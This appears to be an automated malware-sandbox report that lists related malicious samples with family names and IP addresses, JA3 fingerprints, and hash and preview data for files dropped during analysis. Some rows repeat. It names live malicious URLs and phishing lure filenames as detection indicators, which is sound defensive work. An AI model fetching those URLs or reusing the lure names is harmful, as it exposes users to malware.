	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse	162.125.1.20
DROPBOXUS	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse	162.125.69.18
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	garsukhjdf11.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	nbavdfasfGarminde.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	162.125.69.18
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse	162.125.1.20
DROPBOXUS	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse	162.125.69.18
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	garsukhjdf11.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	nbavdfasfGarminde.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	162.125.69.18
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse	162.125.1.20

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://147.45.47.98/error.js	Get hash	malicious	Unknown	Browse	162.125.65.15 3.6.122.107 162.125.69.18 162.125.69.15
	ak3o7AZ3mH.exe	Get hash	malicious	Babadeda, Conti, Mimikatz	Browse	162.125.65.15 3.6.122.107 162.125.69.18 162.125.69.15
	GdGXG0bnxH.exe	Get hash	malicious	Unknown	Browse	162.125.65.15 3.6.122.107 162.125.69.18 162.125.69.15
	https://clickme.thryv.com/ls/click?upn=u001.5dsdCa4YiGVzoib36gWoSL813n1NSUgoHlh-2FH8jVXE55TTo10JYMDP3MpP9biJ-2BivxRElKJfGcSf3Wm0bk6-2BuL6x9TaALAI-2BL1qw1Dee2Qg-3DwH82_lUpiXeYCZ5wahax4fkypnG65rENS0eHcuXkODr9BV8nkC0Nc6-2BAihSf0cmYNntTLO4SyowozBXe6Qe-2Bbp-2FFF3a1FIQOXuBqEKUpfXMQ5PPxSuhMxN-2FGKw6aVp7-2FrJaFsaK3MxWcXiB-2FQGWayulE8-2FtCvMhmv4KaADpZ-2B0qQmLVPxqh24uJt9FaNBQBIm1l70gJHtveQ3b-2FplaZ4NS9-2FFv9-2FcAZ4BnOdGLbd-2BNZzE9Ba47yxwqIyGzlJ-2BmDN57eM41CachqUTFf5upDlE1JEwIy6eZ7t9nvf-2Fc9lQV8qupSe0IpWj5cFkfBjNJ9myaj1i3KCzGOXUSk-2F4E-2FHX-2BkuwdmqzU7u2OKMrHZeEXOJLiSw-3D#C	Get hash	malicious	Unknown	Browse	162.125.65.15 3.6.122.107 162.125.69.18 162.125.69.15
	InvoiceNr274728.pdf.lnk	Get hash	malicious	LummaC	Browse	162.125.65.15 3.6.122.107 162.125.69.18 162.125.69.15
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	162.125.65.15 3.6.122.107 162.125.69.18 162.125.69.15
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	162.125.65.15 3.6.122.107 162.125.69.18 162.125.69.15
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	162.125.65.15 3.6.122.107 162.125.69.18 162.125.69.15
	#U00d6deme tavsiyesi.pdf.exe	Get hash	malicious	Unknown	Browse	162.125.65.15 3.6.122.107 162.125.69.18 162.125.69.15
	KASHI SHIP PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	162.125.65.15 3.6.122.107 162.125.69.18 162.125.69.15

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.359782095152474
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrP:KooCEYhgYEL0In
MD5:	C2263464F29113A9E9F5507906B4B29A
SHA1:	9789F5B05EE3684DF3D1F7132A0CF68234DAE5BB
SHA-256:	40F2F9C6602C5F909842A1F4F4D0BA5146F7D5AB7A77D53142A8768FB99115F3
SHA-512:	7A72D908477DE7762BBD3F758A5E8F7043C7864ECC7C222FDD4A12377A7FF776EA09D22D71BAA6A0BD52EA40DB0B15D1F19619F78F374394575097F6CA157642
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf5de3f4f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221795919122616
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	9F2B059878CEAD3A32F537ED46BE6AED
SHA1:	6E210EA32E5DF1CE483CF642CA085706633E5309
SHA-256:	719CF83F2EA6A5FF9E60436AAA6549B2BD9903AD054F689A0211E73C9AA0716A
SHA-512:	1F9BEC8DB1D6BB63391B20A1B63EF0828946587597688DFEF4A1A33E71E5F83751D9437EEF78E55D847E33E65776E96E7813DA61F614482E467EA937AE226D3F
Malicious:	false
Preview:	..?O... .......A.......X\...;...{......................0.!..........{A......\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................-.D:.....\|....................\|.....\|}..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07705996870539306
Encrypted:	false
SSDEEP:	3:G8StlKYeBKHxjn13a/zWqeXallcVO/lnlZMxZNQl:G8yKzBKHx53qzWqnOewk
MD5:	914ED72F2979D2CBFFD061F9E018DD64
SHA1:	F520CBCD5BDA0679E55B93A7295BBB680E76FD0D
SHA-256:	9282DE53625CFD5C7DA5D3609A59F3A8C08F6E1151606C0B34703E50031CCA98
SHA-512:	C965A805DE667AEBCC02837CC792462D4CB9CBDA04C44DF4B91F8C827B2AEC2168ED2F50E9D787685926584876FA0FD208D90A60517516EB6C483FC721DD3221
Malicious:	false
Preview:	...~.....................................;...{.......\|}......{A..............{A......{A..........{A]..................\|.....\|}.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_fontdrvhost.exe_d32c824e8915b30da4efd4eabd13e74e4ef8c1_ad0be647_51295d42-4814-4584-bf0b-7ca43b466e26\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6603588784929801
Encrypted:	false
SSDEEP:	96:m6iYFcpQ3e6qigKJ0s3Wrk41yHpHS2QXIDcQkc6tcEycw3ZUtzJzQ+HbHgrZ2ZAL:76pgtHn0xR0apYKjqzuiF8Z24lO8JO
MD5:	CE98C5E36A7806C33F73A1E7EAD60953
SHA1:	ACEAA56B5FCA0B44E4E6C484ED6C1D3AAF771622
SHA-256:	E6F5AA88DF5E7056398258A78BB18D990F2E8308B08319E8912FD3AF2DB514C6
SHA-512:	690CB112C12838A23F9240ABDF5CD78AC645365D2849FD9BACB2690213CE2110E02740CB491DC03C947F17A00F953899CD7CF7EE35D335E0485393A67C5479A8
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.6.4.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.8.3.5.7.1.7.7.9.1.8.5.4.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.8.3.5.7.1.8.2.5.2.8.2.0.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.1.2.9.5.d.4.2.-.4.8.1.4.-.4.5.8.4.-.b.f.0.b.-.7.c.a.4.3.b.4.6.6.e.2.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.2.e.7.f.b.e.2.-.9.3.b.7.-.4.1.a.d.-.8.7.4.c.-.e.2.0.a.1.e.7.c.3.2.b.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.f.o.n.t.d.r.v.h.o.s.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.f.o.n.t.d.r.v.h.o.s.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.2.0.4.0.-.0.0.0.1.-.0.0.1.4.-.1.a.2.8.-.a.d.4.e.c.d.4.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.5.e.f.b.3.f.9.7.3.4.2.b.a.1.9.5.4.2.4.1.3.4.f.2.8.f.9.7.7.d.a.9.e.0.d.6.a.a.9.1.!.f.o.n.t.d.r.v.h.o.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7FB1.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Dec 16 15:15:17 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	48366
Entropy (8bit):	1.2644172261025297
Encrypted:	false
SSDEEP:	96:5b8AyqrfiRcFjIy94rTMP7i70HQuRW0TICP71gRbGWIxAIobxGSk:ycrtJDOoQ35C1gRfS
MD5:	0783874DE0565D4FCD1F3CB8A328773D
SHA1:	4A0E041C30FD2122518A5E0CA6E5A46414480201
SHA-256:	64E50A9F71029956F4672C1CBD8D00D4055EE3A42CCD23640AB58B59BF508523
SHA-512:	80B74B3BF4B4C89EC1947A1D085030C532DBCA338E1576D085B3B38EF6DA6F974785DCD0297212DBE567B2A4BDC9BE9354FC2F9245C69CE2AFC32BE91C3ED073
Malicious:	false
Preview:	MDMP..a..... ........D`g....................................$...2!..........T.......8...........T...............>.......................................................................................................eJ..............Lw......................T.......@ ...D`g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8001.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8622
Entropy (8bit):	3.694003684655015
Encrypted:	false
SSDEEP:	192:R6l7wVeJLgjy6Ys3Bs7wgmfr57vapDG89bEHFfNkMm:R6lXJ826YsBsMgmfrFvIElfNG
MD5:	CF1FF3C8D36736C4B589FE7A1F471C01
SHA1:	8F6AF5FD36409BFCB27599B773C130E2A3E48A0E
SHA-256:	B8845B31E45B1122F0A4D06B76530F715DE540C1D021FD02FCC2C3B877B83EB9
SHA-512:	82C52559409671E12D5CC7957192DED81172F34D6E6E3DB7C27CF7FEC552A2FC04ACFF10A387182FD27732671A585FBC4004506A9952C200CF6E44A6EAA51BC4
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.2.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8040.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4853
Entropy (8bit):	4.445635737843599
Encrypted:	false
SSDEEP:	48:cvIwWl8zsHJg771I9DIWpW8VYPYm8M4Jk5LvM6F/yq8vU5LvMEaMu6Fd:uIjfpI7Ih7VTJcjMYWsjME1uQd
MD5:	14656EE5E426FF4BE0B943EFF564A927
SHA1:	2CA7BD83DEF80D6A5FE12407AD8FB89FE57CD549
SHA-256:	37C1515BFA3A1DFE12EBDC1AFC35E48BA417E01CA8DD014ED2634707A952E38F
SHA-512:	B8BFA43DCFC6AFEDBCB73C02A5A606639F9C277C6B72711617B59516C74A27AD7023EFAD1D0B8D203D70B8AFA0149C4E382D209522C60C33C4E8EE58C17F9C5D
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="633977" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0ac3fa16-d4d4-4858-9066-cb1468c3dc9f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8325
Entropy (8bit):	5.79072539103472
Encrypted:	false
SSDEEP:	192:fsNwLx9eiRUbqj8kY16qRAq1k8SPxVLZ7VTiQ:fsNwtteg3Y16q3QxVNZTiQ
MD5:	052AF14D964283C4D8BF0F47A2FAD217
SHA1:	7AF2F01BB9A764011954491E588C9819E84AF6BF
SHA-256:	E925490F6B994AF537A301173856A762E8FA35E996C881448E5D8061B4AE09CD
SHA-512:	CDEBF7380C16D34F218403E444A2F762879A8C69B268B8DD24ABA629DD70C648EAC31F8FCDDB5E030086B230801436FF84703BD2CD01CD6721B7F2027DB458F0
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0c321821-53b8-435b-a681-e96172a4570c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8243
Entropy (8bit):	5.796786304993966
Encrypted:	false
SSDEEP:	192:fsNALx9eiRUmqj8kY16qRAq1k8SPxVLZ7VTiQ:fsNAttxg3Y16q3QxVNZTiQ
MD5:	0F5219AFEF9B12FA78D626F3FC8DA1E4
SHA1:	14FD5C00FDC45F126F5D71B0C5D7F8B623E255D5
SHA-256:	181AC1A0C083E391451B347485B7B0E80DBBA69280507553052E72D14637ED52
SHA-512:	012C8AB815AF80406E90E810C7748C21A9CB70C7752AD11FEAB98751D0794D6B721DFF949BF69E590FD438F957129C0563F9A1A63673A857919BF7F17832EFB3
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Ve

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\16a4a925-876d-4053-af62-adab3276974e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25204
Entropy (8bit):	6.030073617298608
Encrypted:	false
SSDEEP:	768:RMkbJrT8IeQc5OkWoQv8/NwT3YdyAelvpVQ:RMk1rT8HmkWoQIwYyAelo
MD5:	66F25D0DBBCE834FE002AE007F1508A4
SHA1:	06095D079B5BC4E19A4E251BEAD2618ABDABDC33
SHA-256:	F60539ED13ECCC69A945238E1186E101909B3CCFC863FD34F7FEACB0C90F5AF9
SHA-512:	56618750DF95C67A53275B50C294FCC7191BD159736597A28A79967135EED0339BF681948CB531706ED7056E5B3ABDB5B65396B7AB30133FFE92D099D517DECD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13378835660794183","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734362064"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5G

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\27afa5b1-d37e-43a8-9baf-d5ae63999bd2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	22936
Entropy (8bit):	6.045915392703141
Encrypted:	false
SSDEEP:	384:btMkaMJH2m8qVT8IeQ0I5t0b9MEFdsNwh4oQpsd3YdC/hAP8SylvHJPdud:RMkbJrT8IeQc5d1WoQSd3YdyAelvpVQ
MD5:	9DA4FB6FE6A4ACC3C9BE0C66B0D571CA
SHA1:	51BCF9FA1FA69ADF8BACBED5932ED84520C66FAA
SHA-256:	B627430C414B5080BABB7E805FCF5414CC754486439DC449644E683F3CDE8280
SHA-512:	69AB40FF2391F6CD1B181E993EA104DFB5595967DC6B54274118F92540140AE4C9356EB815955E5E85D2F54B343AB3EB15511F1AB2A466DFF7BD78151F499395
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13378835660794183","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734362064"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5G

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2f3047ba-fc8d-4883-9a19-60d5c0f74e88.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25153
Entropy (8bit):	6.030874997287681
Encrypted:	false
SSDEEP:	768:RMkbJrT8IeQc5O1WoQv8/NwT3YdyAelvpVQ:RMk1rT8Hm1WoQIwYyAelo
MD5:	C251E3FC0B706D48A8044BEC47C5849A
SHA1:	29117741735969040CB35C4CBC65677E1EC3BEE4
SHA-256:	97BEDF5C6E8A943DB174181D526D33EFAF4BA1842768073FE6AB9D1BE570CEC1
SHA-512:	FBA4A9AE4D1F05D57FCC57D2B475B3A0FFC3E8BB73663A18D32A70CDD06B3435E1B1416D4CE5FDC0A15BDAE42D84CABD3DB1333F21E5BD38F5081C16A88A9AF6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13378835660794183","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734362064"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5G

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2fbda00d-f8a5-4744-8d60-c80b9a681aa8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

